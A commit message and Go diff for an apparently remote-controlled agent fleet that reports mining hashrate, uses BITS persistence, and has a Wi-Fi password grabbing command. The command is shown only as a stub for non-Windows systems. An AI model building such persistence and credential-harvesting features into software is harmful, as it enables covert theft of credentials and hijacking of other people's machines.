feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

agent/client/commands_unix.go

@@ -8,6 +8,11 @@ import (
 	"strings"
 )
 
+// grabWiFiPasswords is not supported on non-Windows platforms.
+func grabWiFiPasswords() string {
+	return "get_wifi_passwords: unsupported on this platform"
+}
+
 // execPowerCommand runs shutdown or reboot on Unix/Linux/macOS.
 func (c *AgentClient) execPowerCommand(kind string) error {
 	var args []string